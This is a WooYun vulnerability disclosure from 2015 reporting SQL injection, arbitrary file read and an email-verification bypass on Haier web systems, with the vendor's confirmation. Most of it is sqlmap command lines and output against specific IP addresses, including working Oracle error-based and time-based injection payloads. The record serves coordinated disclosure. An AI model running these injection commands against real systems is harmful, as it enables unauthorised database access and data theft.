当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100464

漏洞标题:海尔多个漏洞

相关厂商:海尔集团

漏洞作者: 路人甲

提交时间:2015-03-11 11:27

修复时间:2015-04-25 11:28

公开时间:2015-04-25 11:28

漏洞类型:应用配置错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-11: 细节已通知厂商并且等待厂商处理中
2015-03-13: 厂商已经确认,细节仅向厂商公开
2015-03-23: 细节向核心白帽子及相关领域专家公开
2015-04-02: 细节向普通白帽子公开
2015-04-12: 细节向实习白帽子公开
2015-04-25: 细节向公众公开

简要描述:

海尔多个漏洞

详细说明:

0x01
resin任意文件读取:

123.png


0x02
某处注入:

kingdomdeMacBook-Pro:sqlmap king$ python sqlmap.py -u "http://218.58.70.195/notice/noticeDetail?pk=8797305478977" --flush-session
_
___ ___| |_____ ___ ___ {1.0-dev-2606432}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:01:12
[00:01:12] [INFO] flushing session file
[00:01:12] [INFO] testing connection to the target URL
[00:01:12] [INFO] testing if the target URL is stable. This can take a couple of seconds
[00:01:13] [INFO] target URL is stable
[00:01:13] [INFO] testing if GET parameter 'pk' is dynamic
[00:01:13] [INFO] confirming that GET parameter 'pk' is dynamic
[00:01:14] [INFO] GET parameter 'pk' is dynamic
[00:01:14] [INFO] heuristic (basic) test shows that GET parameter 'pk' might be injectable
[00:01:14] [INFO] testing for SQL injection on GET parameter 'pk'
[00:01:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:01:15] [INFO] GET parameter 'pk' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[00:01:15] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[00:01:15] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:01:15] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[00:01:16] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[00:01:18] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[00:01:18] [INFO] testing 'MySQL inline queries'
[00:01:18] [INFO] testing 'PostgreSQL inline queries'
[00:01:18] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[00:01:20] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:01:20] [WARNING] time-based comparison requires larger statistical model, please wait..............
[00:01:23] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:01:23] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:01:23] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (SELECT)'
[00:01:23] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:01:23] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:01:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:01:23] [INFO] testing 'Oracle AND time-based blind'
[00:01:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:01:23] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[00:01:23] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[00:01:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[00:01:30] [INFO] checking if the injection point on GET parameter 'pk' is a false positive
[00:01:32] [WARNING] it appears that the character '>' is filtered by the back-end server. You are strongly advised to rerun with the '--tamper=between'
GET parameter 'pk' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 81 HTTP(s) requests:
---
Parameter: pk (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pk=8797305478977) AND 9220=9220 AND (9604=9604
---
[00:01:53] [INFO] testing MySQL
[00:01:53] [WARNING] the back-end DBMS is not MySQL
[00:01:53] [INFO] testing Oracle
[00:01:54] [INFO] confirming Oracle
[00:01:54] [INFO] the back-end DBMS is Oracle
web application technology: Apache 2.4.6, JSP
back-end DBMS: Oracle
[00:01:54] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 61 times
[00:01:54] [INFO] fetched data logged to text files under '/Users/king/.sqlmap/output/218.58.70.195'
[*] shutting down at 00:01:54


0x03
某网站可以注册任意邮箱:
http://s.haier.com/
验证链接居然是
http://s.haier.com/km100survey/faces/public/[email protected]
这也太简单了。。
0x04
某登陆地点存在注入:
http://218.58.70.209:8080/index.jsp

kingdomdeMacBook-Pro:sqlmap king$ python sqlmap.py -u "http://218.58.70.209:8080/login.jsp" --data "screensize=&userid=admin*&password=qwqe&login=+%B5%C7+%C2%BC+"
_
___ ___| |_____ ___ ___ {1.0-dev-2606432}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 10:49:04
custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q] y
[10:49:06] [INFO] resuming back-end DBMS 'oracle'
[10:49:06] [INFO] testing connection to the target URL
[10:49:06] [INFO] heuristics detected web page charset 'GB2312'
[10:49:06] [INFO] testing if the target URL is stable. This can take a couple of seconds
[10:49:07] [INFO] target URL is stable
[10:49:07] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[10:49:07] [WARNING] (custom) POST parameter '#1*' does not appear dynamic
[10:49:07] [INFO] heuristic (basic) test shows that (custom) POST parameter '#1*' might be injectable (possible DBMS: 'Oracle')
[10:49:08] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
it looks like the back-end DBMS is 'Oracle'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'Oracle' extending provided level (1) and risk (1) values? [Y/n] n
[10:49:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:49:14] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:49:14] [INFO] (custom) POST parameter '#1*' is 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' injectable
[10:49:14] [INFO] testing 'Oracle AND time-based blind'
[10:49:14] [WARNING] time-based comparison requires larger statistical model, please wait........
[10:49:26] [INFO] (custom) POST parameter '#1*' seems to be 'Oracle AND time-based blind' injectable
[10:49:26] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:49:26] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 49 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: screensize=&userid=admin') AND 3724=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(106)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (3724=3724) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(113)||CHR(120)||CHR(113)||CHR(62))) FROM DUAL) AND ('wQzY'='wQzY&password=qwqe&login= %B5%C7 %C2%BC
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: screensize=&userid=admin') AND 1480=DBMS_PIPE.RECEIVE_MESSAGE(CHR(121)||CHR(109)||CHR(85)||CHR(106),5) AND ('KQfU'='KQfU&password=qwqe&login= %B5%C7 %C2%BC
---
[10:49:42] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[10:49:42] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 32 times
[10:49:42] [INFO] fetched data logged to text files under '/Users/king/.sqlmap/output/218.58.70.209'
[*] shutting down at 10:49:42

漏洞证明:

如上

修复方案:

整改

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-03-13 10:58

厂商回复:

谢乌云平台白帽子的测试与提醒,我方已安排人员进行处理

最新状态:

暂无